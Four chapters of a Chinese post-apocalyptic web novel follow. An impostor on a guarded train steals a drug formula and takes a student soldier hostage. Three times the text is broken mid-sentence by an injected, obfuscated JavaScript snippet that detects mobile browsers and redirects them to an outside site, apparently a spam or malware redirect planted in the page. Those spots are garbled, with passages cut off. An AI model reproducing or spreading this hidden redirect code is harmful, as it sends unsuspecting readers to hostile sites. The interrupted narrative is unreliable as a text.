《末世大佬她一身反骨》 1. 任务 汽笛的声响自天际传来，一辆老式列车轰鸣着辗过锈迹斑斑的铁轨，轰隆隆的声响引得空气都跟着震颤。 四周是荒凉的旷野，生锈的铁路宛如一条狰狞的伤疤，将天地分割成灰黑两色。 天阴沉的灰，一地都是焦土。 一百多年前那艘名为“潘多拉”的外星飞船出现在地球上空，地球就开始沦为一片废土。 程橙坐在车上靠窗的位置，仰头看着连日光都穿不透的阴沉天色。 时至今日“潘多拉”还悬浮在地球上空，释放着一种会导致地球异变的“root能量”。 “真让人不爽啊。”他忽然感叹。 “把别人的世界搞得一团乱，可他们连面都不舍得露。” 对面坐着他这次任务的队友之一，是个年纪跟他差不多大的女生，一路上都沉默寡言，这次竟然罕见给他反应。 女生也抬起头，棕色的眼睛迎着光时颜色变得浅淡，从侧面看像一枚透彻的琥珀。 “人类碾死蚂蚁时，也不会说抱歉。”她说。 程橙明白了她的意思，地球文明和外星文明相比，就像蚂蚁与人类。 一百多年前那艘飞船出现只是释放出root能量，没派出一兵一卒，就将地球侵蚀成一片废土。 人类曾无数次向飞船发起进攻，却连飞船的防护罩都打不破，时至今日，他们甚至不知道飞船里的外星人长什么样。 他们高傲到懒得给地球上的蝼蚁一个眼色。 “你叫丽莎是吧？”程橙才想起还没跟队友正式认识。 “我叫程橙。” “嗯。”对方只是冷淡的点头。 程橙能察觉到丽莎不怎么想聊天，但这种长途押送任务实在磋磨，跟人聊天解闷总好过一个人闷着，便继续说道： “希望这次的新型特效药能起作用。” 丽莎的眼神下意识看向坐在车厢最前方的陈教授，他面前的桌上有个手提箱，里面锁着他们这次任务要护送的目标——一种新型特效药剂。 地球被root能量侵蚀之后，所有东西都发生了异变，恐怖的结晶在地球上蔓延，吞噬一切生机，就连人都会被感染。 感染的人身上会长出结晶，而结晶蕴含着狂暴的能量，会影响人的大脑，最终将人变成一个失去神志又嗜血的结晶怪物。 时至今日人们都没找到对付地球结晶化的办法，而人一旦染上结晶病也无法被治愈，只能通过特效药抑制结晶化的速度。 一周前世上最大的生化公司MN集团，声称研发出一款新型特效药剂，效果比市面上的特效药都要好。为了全人类着想，他们愿意将唯一一只成功合成的药剂以及配方低价卖给政府。 如今政府和MN集团已经谈拢，配方就在手提箱里，由陈教授保管带回政府的科研中心。 程橙和丽莎都是军校的在读学生，这次是个实习任务，临时加入由二十名特种兵组成的护送队，一起护送陈教授和药剂配方。 算不上什么艰险的任务，这趟列车经常被征用执行政府任务，他们所处的1号车厢经过特殊处理，落了锁后强度堪比银行保险柜，除非使用大型武器否则轰不开。 再加上二十名训练有素的特种兵把守，车厢的乘客上车前又都经过身份核验。 而列车外root能量超出标准，直接暴露在空气中会有感染结晶病的风险，很少有人在外面逗留。 又有铁路巡查组会定期巡查铁路，排除隐患。 可以说几乎所有风险都被排除，发生意外的概率很低。 所以在这种有保障的情况下，车厢里的人大多是放松的姿态，有人在浏览全息投影上的新闻，有人在交谈，也有人在打瞌睡。 其他人都是正式军人，懒得搭理程橙这个实习生，他便和同为学生的丽萨坐在一起。 “你是二年三班的是么？我有个朋友和你同班。” 还没毕业就被指派来执行政府的任务，那得是年级里成绩名列前茅的存在。 程橙在成绩栏上见过丽莎的名字，所以知道她在哪班。 “嗯。”丽莎又是冷淡地点了点头。 看对方实在不想聊，他也不继续自讨没趣，低头唤醒手腕上的通讯手环，看到一条朋友发来的消息。 “执行任务的感觉怎么样？” 他发去回复： “有点无聊，跟你们班的丽莎一起，她够冷的，不过眼睛很好看。” 还没收到回信，反而是不远处传来声音， “你们两个，咖啡没了，去拿新的来。” 程橙站起身，“你们两个”指的就是他和丽莎，尽管他们在各自班里的成绩名列前茅，到了这些特种兵面前，也只是被使唤的小喽啰。 “我去吧。”他对准备起身的丽莎道，这种事一个人也能完成。 说完拿起咖啡壶就往外走。 为了任务着想，配方所在的1号车厢上了锁，紧挨着的2号车厢也没接收乘客，处于清空的状态，就连列车的工作人员都只能在2号车厢外止步。 程橙想拿到喝的，就得离开1号车厢，去到7车厢的服务台。 进出1号车厢都只能从里面刷特定的权限卡才能开门，而卡在门口的哨兵手里，程橙让哨兵帮开了门，就朝7号车厢走去。 穿过被清空的2号车厢，抵达3车厢他才见到车上的乘客。 正是午餐时间，乘务员正推着餐车推销营养液。 自从地球沦为废土，土地资源就变得紧张，现在人们的食物大多是用科技手段合成的营养液。 车厢的过道狭窄，程橙要侧着身才能从餐车旁挤过，看到乘务员手忙脚乱递给乘客营养液，走过餐车时还听到不少人抱怨给错了口味。 乘务员新上任的吧，业务这么不熟练。 他这样想着，继续朝7号车厢走去。在穿越几个车厢之后，终于抵达了服务台，让列车长煮上一壶咖啡。 如今土里种的东西都是稀罕物，所以咖啡算是高端饮品，只有有钱的乘客能喝得起，不过他们在出任务，经费能报销，长途运输又要保持精神，所以小队的人将咖啡当水来喝。 车上条件简陋，只有速溶咖啡，列车长背对着程橙制作，动作也谈不上熟练。 奇怪的感觉突然在程橙心头升起。 乘务员业务不熟练可能是新上任，总不能这么巧连列车长也是新上任的吧？ 他隐隐有了个猜测，朝背对着的列车长说道： “我去趟卫生间，冲好的咖啡放桌上就行，我回来再拿。” “好。”列车长闷声回答。 程橙的眉头越皱越紧，往卫生间的方向走去，却不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16130719|180287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是真的想上卫生间。 后勤室就在服务台附近。 他尽量表现得一切如常，可越接近后勤室，心底还是不免的越紧张。 短短几步路仿佛走了半个世纪，终于是走到了后勤室的门口。 正是午餐时间繁忙的时候，或许是为了方便餐车进出，后勤室的门半开着。 里面有不少穿着乘务员制服的人，都静悄悄坐着。 程橙只是装作不经意地瞥了后勤室一眼，继续神色如常地朝卫生间走去，心却无法抑制的狂跳。 不对劲，一路上遇到的乘务员大都不对劲！ 排去业务生疏的派餐员和列车长不说，其他乘务员也不该这么清闲。 午餐时间他们应该及时清点营养液，等餐车那边需要补货时能以最快的速度补上。 还有负责保洁的，应该做好准备在餐后回收垃圾。 可他们很多人都闲着，根本就没有进入工作状态！ 车上的乘客都通过身份核验没错，可工作人员凭工作牌进场，护送队只是按着出勤名单简单核实。 要是不法分子不是混在乘客中，而是冒充了工作人员呢？ 心中的怀疑几乎已经被证实，程橙走进卫生间将门反锁，呼吸因为紧张不由地变得急促。 连忙唤醒手环接通护送队专用的通讯频道。 “队长，发现异常情况，我怀疑列车的工作人员有问题，建议排查！” 通讯频道瞬间就有回应：“怎么回事？” “我出来拿咖啡发现有几名乘务员业务十分生疏，怀疑有不法分子混在其中！” 那头顿了几秒，果断下令，“不排除这个可能，但我们无法确定有多少人混进来，你在外面别表现出异常让人怀疑。我们立即以例行检查的名义派人巡查列车，以最快的速度将所有乘务员控制，确认是否有不法分子混入其中！” “收到！” 得到队长的回复程橙松了口气，他们所乘坐的是一辆24节车厢的列车，车上的工作人员也就15名，任务小队一共二十人，且都是携带武器训练有素的特种兵，在不法分子没防备的情况下，确定每个人的位置后同时控制住不算难。 他调整好呼吸打开卫生间的门朝服务台走去，为了不打草惊蛇，他要装作什么都没发现的样子把咖啡带回去。 咖啡已经冲好，装在壶里放在台面上，程橙不敢节外生枝，虽然知道列车长可能被人冒充，还是道了声谢才将咖啡带走，往着1号车厢的方向走去。 一切看起来都很顺利，走到3号车厢时，还碰到被派出来的队员，见到这些携带武器穿着任务服的人，车上的乘客也没有觉得奇怪。 列车经常被政府征用执行任务，一旦有任务，巡查就多了起来，乘客都知道规矩。 程橙顺利回到1号车厢，在和门内的哨兵确认过身份之后，就站在门外等哨兵操作开门。 通讯手环突然提示收到消息，他低头看了眼，是好友的回信： “丽莎冷吗？她在班里还挺开朗的，眼睛确实好看，像两颗蓝宝石。” 程橙心猛地一缩，那双颜色浅淡似琥珀的眼睛浮现在脑海中。 如保险柜般沉重的门向两边开启，几乎是开门的瞬间，程橙拔出腰后别着的枪大喊， “队长，丽莎可能是假的！” 2. 黑吃黑 几乎是他大喊的瞬间，车厢里手持武器的人全都拔枪对准那道安静坐在窗边的人影。 队长安德烈眼睛紧紧盯着丽莎，却没下令开枪，总不能因为程橙一句话他不证实就将人击毙。 他刚想问怎么回事，清脆的撞击声就先自窗边响起，被枪指着的人仿佛没察觉到自己处境一般，往已经冷了的咖啡里扔了两块方糖，语气漫不经心， “怎么看出来的？” 程橙握紧枪盯着她，“丽莎的眼睛是蓝色的，你的是棕色！” “……哦。” 安德烈微微眯起眼睛，神色透着铁血军人的凌厉，“你到底是什么人？和外面那些是不是一伙的？你把丽莎怎么了？隐瞒身份上车有什么目的？！” 窗边的人没有回答，用勺子不紧不慢搅动着杯里的方糖，勺子时不时碰到杯壁，发出轻微的声响，要不是场合不对，还算悠然惬意 “别跟我搞花样，你们已经……” “队长……” 安德烈还想逼问，通讯频道里传来其他队员的声音， “任务失败了。” 他额角跳了跳，“怎么回事？” “有人假冒工作人员的情况属实，但他们已经提前收到消息，控制了7号车厢以及后面车厢的乘客，他们头目要求和你对话。” 安德烈看向假丽莎，眼神彻底冷了下来，“是你通风报信！” 假丽莎没回答，只是喝了口咖啡。 安德烈没在她身上继续纠结，当务之急是乘客的安全，留着假丽莎好歹有个谈判的筹码。 “让他们说话。”安德烈下令。 队员打开了扩音器，也将那头的声音清晰传来，有不少嘈杂的声音，仔细听都是乘客压抑着的惊恐哭泣声。 “安德烈队长你好呀。”通讯频道传来一个略带调侃的声音，“久仰大名。” “你们是谁，有什么目的？”安德烈沉着声问。 “都是老朋友了，你可带过队抓过不少我们的人，这辆车上能让我们感兴趣的，应该就你的任务目标了吧，怎么还问我们的目的？” 安德烈眼神闪了闪，“你们是反叛军？” “我们可不这样叫自己，我们是反抗政府不公制度的自由战士。我们不想伤人，把药剂和配方交出来，我们立马离开怎么样？你们自诩一切为了人民，列车上这么多人的命，应该比一纸配方更重要吧？” 安德烈沉默下去，对方说对了，他们军人首要任务是保证人民安全。 他看向陈教授，陈教授抱着装着药剂的手提箱，神色不舍且沉痛。 “特效药配方是国家的，或许是治疗结晶病的关键，关系着整个人类的未来，我需要汇报上级才能给你答复。” 安德烈对着通讯频道说，同时联系上级。 那头却是嗤笑一声，“别以为我不懂你们的把戏，汇报上级是在叫增援吧，给你们两分钟的时间，让我的人把配方带出来，超过两分钟后，每30秒我杀一个人，五分钟后要是还不交出来，我从最后一节车厢开始放炸药，现在开始倒计时。” 两分钟的时间很紧迫，而反叛军就是一群丧心病狂的恐怖分子，安德烈毫不怀疑他们真的会将列车炸掉。 犹豫不决之时，通讯频道有另一个信号接进，一个苍老却沉缓有力的女人声音传来， “给他们吧，配方可以和MN集团再联系，列车上都是活生生的人，没什么比人更重要。” 听到这个声音，坐在窗边从始至终一副没什么大不了的假丽莎，终于抬了抬眼皮。 上边已经下令，安德烈只能执行。 “配方给你们，拿到配方后你们立刻离开，不要伤害乘客！” 那头的声音吊儿郎当，“放心放心，我们是自由战士，又不是杀人狂。” 假丽莎放下咖啡，走到陈教授面前，对着她的枪口始终紧紧相随，她却视若无睹。 安德烈看向陈教授，“给她吧。” 陈教授叹了口气交出箱子，她拿起箱子离去，脚步不急不缓。 到门口时正好经过程橙的身边，等着哨兵开门之际，程橙看到她耳中戴着的隐形装置，应该是一种全息模拟装置，假丽莎包括其他冒充乘务员的反叛军，都是通过这种装置改变自己的容貌，混上了车。 门开了，安德烈朝通话频道说话：“你们的人已经拿到配方，请你们信守承诺，放了车上的乘客！” “当然，让车停下，我们拿到配方立马离开。”反叛军头目做出承诺。 与此同时假丽莎已经穿过空无一人的2号车厢，走到门口时脚步却顿了顿。 下一刻，“砰”的一声巨响。 所有人都没想到她会突然一拳击碎保护紧急按钮的玻璃，一把按下了紧急按钮。 刺耳的警报铃瞬间响起，列车的紧急停止程序被启动，开始降速，车上的人都因惯性身子晃了晃。 “怎么回事，你们耍诈？！” “你们想干什么，配方不是给你们了吗？！” 铃声响起的刹那，反叛军头目和安德烈同时怒吼，却都因为搞不清情况不约而同的没有下令开火。 安德烈再次举枪对着假丽莎，虽然因为惯性站不稳瞄不准，不过他也没打算开枪，一旦开枪就打破了和反叛军的临时协议，保不准反叛军会对乘客下手。 他气急败坏，“你们的人按下了紧急按钮，耍诈的是你们！” “什么？”反叛军头目明显也没搞清楚状况，朝着同在频道的罪魁祸首质问，“臭女人你在搞什么？” 事情发生得太快，事发不过半分钟左右，回答他的只有另一声玻璃碎裂的声音。 亲眼目睹2号车厢一切的程橙和安德烈瞪大了眼睛，列车的车窗用特殊的材质打造，不仅防弹还能隔绝root能量，硬度跟一些金属差不多。 可他们却亲眼看到假丽莎一肘击，就直接将车窗轰碎。 风瞬间从被击碎的车窗涌进，root能量随着空气涌进车厢，检测到root能量正在上升，列车自动采取措施，开始将2号车厢两端的密封门关闭，避免root能量蔓延到其他车厢。 同时预示着危险的红色灯光亮起不断闪烁，急促的语音播报传遍整辆列车： “警告！警告！2号车厢root能量正在上升，请2号车厢乘客立即开启紧急隔绝装置，并撤离至其他车厢避免感染，2号车厢将在30秒后进入隔离状态！” “撤退，都开启紧急隔绝装置！” 安德烈大喊着下令让靠近车门的人撤回1号车厢。 密封门已经关了过半，现在已经没人在意暴露在root能量中的假丽莎。 程橙和哨兵离密封门最近，在窗户被打破的瞬间，已经开启了身上的隔绝装置，一层淡蓝色的防护罩将他笼罩，在装置能量消耗殆尽之前，能暂时隔绝root能量对身体的影响。 他刚要后退，瞳孔却猛地一缩，假丽莎没有开启隔绝装置，也没有到别的车厢躲避root能量，反而是后退两步，从破开的窗户跃了出去。 列车虽然在降速，但还没完全停下，仍然有两百多的时速，这个时候跳车必死无疑！ 身体比脑子先做出反应，在密封门即将合上的刹那，他冲了出去想将人拉住。 他抓住了，可，对方的体重比他想的还要更重，他没将人拉住，反而连同自己被扯出了窗外！ “程橙！”安德烈大喊了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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对方的速度快得不像人，力气也出奇的大，程橙感觉到只要对方再用点力，就能将他的腕骨捏碎，疼得他无法扣下扳机——尽管他也没打算真的开枪，只是想占个先机。 随着几声“咔哒”声，假丽莎一手捏着他的手腕，另一只手熟练的在几秒内将他的手枪拆解。 “……” 他沉默地看着假丽莎，眼神仿佛在看一个怪物。 对方却根本不觉得他是个威胁，随意扔掉手中的枪支零件，就放开他的手唤醒通讯手环。 “出了点意外，下车位置离预定位置有偏差，给我个回去的方案。” “我先看看位置。”手环里传来一个男人的声音，几秒过后对方“啧”了声，“你这已经不叫偏差了，差了十万八千里。” “没时间听你说废话，他们在附近有人，现在应该已经在找我的位置，给我个能回去的方案。” “我已经在朝你的方向开，不过一百公里的距离，估计要一个小时才能抵达。”手环中传来另一个女声。 “来不及的，等你赶到她估计已经被反叛军轰成渣渣，反正我是没办法了。”男人的声音透着幸灾乐祸。 “才不会，艾米这么厉害，反叛军人再多也不是她的对手。”女声反驳。 “你就是她的脑残粉，你怎么不说她打得过外星人？” “说不定真打得过，有本事你让外星人出飞船试试？” 两人在通话频道中吵起来，艾米直接将频道掐断，抬眼看到程橙，突然眯了眯眼睛。 那是她整张脸上唯一没有用全息投影伪装的部位，和那双眼睛对上的瞬间，程橙有种不好的预感。 3. 套话 艾米慢悠悠摸出战术腿挂枪套里的手枪，一边调出任务小队的通讯频道。 任务频道一直是连通的状态，队员可以选择是否开自己的麦，她开了麦。 “安德烈队长在吗？” 不到两秒，安德烈惊讶的声音就传来：“你没死？” “让您失望了，你的队员在我手上，想让他活着就让最近的铁路巡查组给我调一架直升机，给你们十分钟的时间。” “程橙？他也还活着？” 艾米朝程橙扬了扬下巴，“跟你们队长说句话。” “……” 程橙看了眼她手里的枪，虽然没有对着自己，但想到她超出常人的速度，知道无法在她开枪前搞小动作，只能遂她的意。 “队长，我是程橙，抱歉给你添麻烦了。” 安德烈松了口气，“还活着就好。” “我的位置开着，你们应该能定位到，还剩9分钟。”艾米没有给他们多说话的机会，说完直接就将自己的麦掐断。 一边计算着时间，这条铁路是重要的运输路线，四周并不安全，那些被root能量感染的变异体有时候会闯到线路上。 铁路巡查组会定期巡查排除隐患，而巡查组有直升机，反叛军再怎么快，也不会比巡查组的直升机来得快。 也不枉她顺手把程橙救下，没想到也是给自己找了条退路。 她起身拍了拍身上的灰，扫了眼四周，目光定格在一块巨岩上。 军队办事的风格她清楚，为了人质安全直升机大概率会派来，但在直升机到达之前，狙击手会先到位，待在空旷的地方就是当靶子，她得找个掩体。 她将枪上膛，指着程橙的脑袋，“起来，去那边的石头。” 程橙没有试图反抗，起身朝着石头走去，一边问： “你救我的时候，就已经想好把我当人质？” “没，单纯因为好心。” 没想到对方还挺好说话，真就回答了他的疑惑，甚至还聊了起来。 “我倒想知道你为什么跟我跳车。” “我没想跳，只是想拉住你，没想到被你带出来了。” “军方给你几个钱，这么卖力帮他们抓人？” “不是因为军方，我只是觉得那种情况下，跳车必死无疑。” 艾米扬了扬眉，“这么说，你是想救我？” 程橙耸了耸肩，出言提醒：“你没有开隔绝装置。” “多谢提醒，先担心自己吧，你的隔绝装置在这种环境下，最多能撑10分钟，你最好祈祷直升机能准时到达。” 程橙沉默下来，艾米说得没错。 紧急隔绝装置只是用来应对突然遇到root能量泄露的情况，给人争取一点逃离到安全环境的宝贵时间。 在root能量越强烈的地方，装置能源消耗得越快，在这露天的环境空气里都是root能量，隔绝装置只能撑十分钟。 只是他不明白，为什么在这种情况下艾米没开启装置，她不怕感染吗？ 两人走到岩石后，艾米将手铐丢到程橙身上，“拷起来，反拷。” “你不觉得自己在强人所难吗？”程橙嘴上这么说，一边利索地将自己的手反拷在背后。 他明白自己阶下囚的身份，嘴上只是说说而已，没有天真到认为艾米愿意跟他聊两句，他就能讨价还价。 “你倒是很识时务。”艾米靠着岩石坐下，一条腿放松地伸直，一条腿曲着，拿枪的手搭在曲起的膝盖上，枪口朝地懒懒的垂着。 她真的没把程橙放在眼里，都懒得摆出警惕的模样。 程橙想到她在车上的比喻，或许她看他，就跟外星人看人类，觉得人类是蝼蚁一样。 她也确实有那个实力，徒手轰碎特质玻璃、承受跳车那么大的冲击力还一副没事人的样，暴露在root能量中也没任何不适，她根本就不是正常人。 警惕之余，程橙其实对面前的人充满了好奇，甚至因为她救了自己，即使知道她是反叛军，也生不出多大的敌意。 “你把真的丽莎怎么了？”他问。 “没什么，借她的脸用用而已，喂了点药大概会睡上两天。” 等待的时间也是无聊，艾米不介意和他闲聊打发时间，另一只手飞快地在手环上调着什么。 手环有隐私功能，内容虽然是通过全息投影映射在空中，但只有佩带手环的人在正面的位置，才能看清投影的内容，从其他角度，只能看到一团模糊的光影。 程橙在她对面席地而坐，“你们反叛军是内讧了吗，你为什么要把配方抢走？” 艾米懒懒看了他一眼，“想套我话？” “嗯，但也是真的好奇。” “这么坦诚是觉得跟我交心，我就会告诉你？下一步是不是该劝我从良了。” “总得试试，毕竟我说不是的话，显得很虚伪不是吗，那会更讨人厌吧？作为阶下囚，我应该讨你的欢心，给自己争取活命的机会。” “你又怎么知道我不喜欢虚伪阿谀奉承的人？” “看着不像，我感觉你跟其他反叛军不同，甚至觉得你会抢配方有自己的苦衷。” “呵~”艾米突然轻笑一声，“打感情牌吗？我没猜错的话，你背后的手正在敲摩斯密码给他们报信。” 程橙身子一僵，他面对着艾米聊天，目的除了套话还有分散她的注意力。 早在艾米让他把自己拷起来的时候，他就趁机接通了跟安德烈的私人连线，一边在背后用手指敲击手环，用摩斯密码汇报这边的情况，好让支援来的时候，能以最快的速度掌握周边情况，进行战术部署。 “不用那么紧张，我挺欣赏你的，作为一名学生你已经展现出连一些正式军人都没有的素养。不过我得提醒一句，安德烈队长，你还有5分钟的时间，隔绝装置能源消耗比我想象的还要快，你的人大概还能撑3分钟。” 轻微的电流声之后，安德烈的声音自她的通讯手环传来：“直升机已经出发，但最近的直升机抵达你们的位置还要二十分钟的时间，我保证会让你安全上飞机！ “你们反叛军今天应该做好了万全的准备，应该考虑过会面临暴露在root能量中的可能，并准备好了应对措施，请你在这方面保证程橙的安全！” “他现在可是我安全离开的筹码，我自是会保住。但是你刚刚说还要二十分钟，这可超时了，安德烈队长，你是不是在故意拖延时间？” “附近的铁路基站只有一架直升机，原本在巡查别的路段，在跟你通话之后我们第一时间就进行调遣，我们已经尽力按你的要求做，也希望你能理解我们。” “行，那就再给你们二十分钟的时间。”艾米出乎意料的好说话，“不过反叛军的人也在找我，要是他们比你们先到，我可不能保证他不会因为我受到牵连。” “你放心，我们只想保证人质的安全，只要你放过人质我们也不会为难你，至于反叛军也会想办法拦住。” 艾米只是笑笑，这种漂亮话听听就好，不过是军方惯用话术想让人放松警惕，狙击手、突击队、跟踪组，该来的都得来。 甚至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16130721|180287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连所谓的还要二十分钟，都可能是他们在拖延时间，为战略部署争取时间。 她起身走到程橙身后，摘掉他手上的手环，“你的作案工具我没收了。” 顺手将手环关机，丢在了一边。 “警告！隔绝装置能源剩余10%，预计还能使用两分钟，请立即撤离至安全区域！” 程橙身上的隔绝装置发出警告，他能感觉到身后的艾米站起身，纤细的影子只能将他半个人笼住。 接着是拉链拉开脱下衣服的摩挲声，带着体温的任务服扔到他头上，盖住耳朵时温度清晰传来，在这种情况下程橙生不出杂念，耳朵却不自觉的发烫。 “穿上。”艾米语气淡淡。 军方发放的任务服都有紧急隔绝装置，程橙的使用了，她的还没用。 “我这个样子穿不了，或许你可以把装置拆下，替换我身上这个。” “麻烦。” 手铐的钥匙丢到程橙的脚边，“自己来。” 程橙屁股在地上挪动着位置捡起钥匙，这样一来就调转了方向，又变成面对艾米的姿势。 他一边用钥匙摸索着打开手铐，一边留意艾米的行为，对方没有要理他的意思，一边看着手环上调试好的数据，一边从耳朵里掏出什么。 是一枚入耳式隐形模拟全息装置，摘下的瞬间那张属于丽莎的脸开始扭曲，只是眨眼间，便显露出模拟之下的真容。 外星入侵之后各国逐渐解体，现在已经没有国家之分，全人类联合起来一起生活。百年前还有东西方人之分，如今已经没有，但长相的差异还是很容易就能分辨出来。 那是一张漂亮的东方面孔，好看到程橙只是扫了一眼，都觉得惊鸿一瞥的程度。 不同于丽莎金发碧眼五官深邃的长相，艾米的东方面孔清冷婉约。 如今所有人种一起生活自由结合，大家的长相或多或少都偏向于混血。 这样一张典雅的脸庞，程橙有种穿越历史，看画中人的感觉。 察觉到观察自己的视线，艾米扫了他一眼，从口袋中拿出口罩戴上。 “……你不会杀我灭口吧？”程橙真的担心。 “现在不会。”她只是不确定反叛军什么时候到，她可不想暴露长相被反叛军追杀。 至于军方那边她倒是不怎么担心，对她来说军方比反叛军好对付。 程橙一边扣下任务服上的隔绝装置，一边思考待会怎么配合来交接的人。 他已经观察过四周，确定了几个适合狙击手伏击的点，待会直升机到的话，他需要找到合适的站位，为狙击手争取到开枪的机会。 隔绝装置缝死在任务服上，他扣不下来，自己的隔绝装备已经撑不住，他只好将艾米的任务服套上，将装备开启。 “啧，浪费力气。”一旁传来嘲笑的声音。 他朝艾米看去，她虽然在嘲笑人，手上的活却不停，将手中的全息模拟装置放在地上，并用手环连接，语音操控： “最大程度扫描周围地形。” 蓝色的光自装置上亮起，以装置为中心向四周扫描，半分钟后手环传来反馈，机械的系统音响起： “已最大程度扫描设备半径五米内的地形。” “立刻在全息范围内构建设定好的场景。” 全息模拟装置开始投射出不同的光，逐渐生成场景。 程橙大概猜出来了，刚刚她一直在手环上忙活，应该就是在设置场景。 看着逐渐清晰的景象，他微微睁大眼睛， “你到底想干什么？” 4. 谁开的枪？ “突突突——” 直升机螺旋桨在空中发出巨大的噪音，卷起的风扬起一地的尘土，细小的晶体在尘土中闪着微光，似流动的繁星，美丽却危险。 直升机在距艾米躲藏的岩石三十米的地方开始降落。 与此同时，汽车引擎的轰鸣声混在直升机的噪音里，从远处逼近。 一同到达的，还有来围剿艾米的反叛军。 黑压压十几辆经过改装的装甲车，缓缓在岩石左侧50米的距离停下，飞扬的尘土淹没了身后荒芜的道路。 他们之所以停下，不是因为看到直升机，而是岩石的另一侧，军方的车队也抵达了。 两个敌对的势力就这样默契的形成合围的阵型，将艾米和程橙围在中间。 在暗处，也早有狙击手的枪口瞄准了艾米。 在听到直升机声音的时候，艾米就后背抵着岩石，一手勒住程橙的脖子，一手用枪抵着他的太阳穴，将他当成人肉盾牌挡在身前，那个装着配方的箱子她逼程橙抱在胸前。 “我们是联合政府，正在进行交涉任务，闲杂人等请立即离开！” 直升机还没完全停稳，就有声音从军方的车队通过扩音器传来，这里的“闲杂人等”自然是指反叛军。 虽然反叛军是反政府组织，但他们也不是一见面就你死我活，在这个接近末日的时代，培养出一名军人并不容易，避免伤亡是最优选。 很快反叛军头目的声音也通过扩音器传来， “老子才不管你们在执行什么任务，把那臭女人和配方交给我们，我们立马走！” 头目人还没抵达现场，现在赶来的是他们在附近的人马，他远程下令。 “我不管你们之间有什么恩怨，我们的人在你所说的女人手上，在我们的人安全之前，你们要是敢轻举妄动，就要做好承受政府怒火的准备！只要我们的人安全，你们之间的恩怨我们不想插手！” 军方立即进行回应。 “政府的怒火？说得之前我们就和平似的！那臭女人心狠手辣，你们要真把她放走，她铁定撕票，你们的人横竖都是死，不如现在就让我们把她抓住！” 反叛军头目嘴上这么说，却没下令让手下开火。 就在双方僵持不下时，艾米的手环里传来安德烈的声音： “直升机已经到了，至于车队只是为了震慑反叛军，让他们不敢对你们出手。直升机上有专业的飞行员，上了飞机后他会听你的命令，你可以让直升机停在任何你想停的地方！ “我们只想保证自己人的安全，看在军方安全放你离开的份上，请你也对我们的人手下留情！” 安德烈同样还没赶到现场，现场军方的车队由其他人带队，他只能通过任务小队的频道跟艾米交涉。 “我的目标本来就是配方，只要安全离开我自然不会伤害他们。”艾米也回答。 “希望你说话算数，你现在可以上直升机了，我们会警告反叛军，让他们老实点。” 安德烈说完没几秒，军方车队的扩音器再次响起： “反叛军的人听好了！你们要是敢朝直升机开火伤害到我们的人，政府将不留余力对你们进行围剿，请你们好自为之！” 反叛军一侧静悄悄。 艾米知道他们不敢轻举妄动， “老实点！”警告程橙之后，在众目睽睽之下，就押着他朝直升机走去。 双方的车队里，所有人手中的武器都已经对准了那两道前行的身影，但因为没得到命令都默契的没有开枪。 “老大，真这样让他们走了？我们真听军方的威胁啊，他们才八辆车，我们打得过。” 一直以来气焰嚣张的头目沉默异常，他是不怕对方区区八辆车，但要真动手就是在向政府宣战，反叛军再嚣张现在也没那个推翻政府的本事。 他们之所以能嚣张到现在，是政府不想造成大规模伤亡，没有对他们进行彻底围剿。 要是现在撕破脸皮跟军方宣战，一旦军方倾巢出动，那对他们来说就是灭顶之灾。 他咬了咬牙，“臭女人摆了我们一道，当然不能咽下这口气，要动手也不能当着军方的面动手，等她上飞机后，找机会把她轰下来！” 当着军方的面开火是挑衅，搞偷袭性质就不同了，一次小偷袭军方损失那么一两个人，他们不会为了这两个人大动干戈。 另一边安德烈的状况也差不多，队员都忿忿不平。 “队长，真就这么让她走了吗？她耍了我们所有人，要是还让她毫发无伤将配方带走，这跟打我们军方的脸有什么区别？” “那你想怎样？”安德烈反问，“放弃救程橙将人留住？下次换做是你被人挟持，也是希望我不顾你的性命，下令将歹徒制服？” 队员哑口无言，安德烈眯了眯眼睛，语气冰冷， “飞机总有落地的时候，只要她在我们的飞机上，起码我们掌握能她的行踪，落地之后又是另一番较量，现在还没到出结果的时候！” 双方就这样沉默又默契的看着那两道人影朝直升机走去。 突然， “砰——” 枪声划破长空。 子弹穿过程橙的头颅，穿透艾米的身体，大团的血雾混着破碎的骨肉随着子弹被带出，两人倒在了地上。 一瞬间万籁俱静。 几秒钟之后才陆续有人反应过来，双方各自汇报， “老大，军方的狙击手把两个人都打死了，配方我们还抢吗？” 头目的声音惊疑不定：“军方这么狠，自己人也打？” “谁知道呢？” 安德烈听到枪响立即通过频道询问在场的领队，“谁开的枪？” 领队轻吸口气，“安德烈将军，程橙……死了。我们的人没得到命令不会开枪，是反叛军！” 安德烈的额角突突直跳，两次了！ 一天之内他经历了两次程橙的死亡，想到程橙死后那边会给的压力，他再也抑制不住怒火，沉着声音下令： “罗德上校，反叛军无视我们的警告是对联合政府的轻视与挑衅，我建议向他们开战！” “明白！” 罗德深吸口气，语气变得沉缓：“全体战士以及埋伏的狙击手听令，向反叛军射击！” 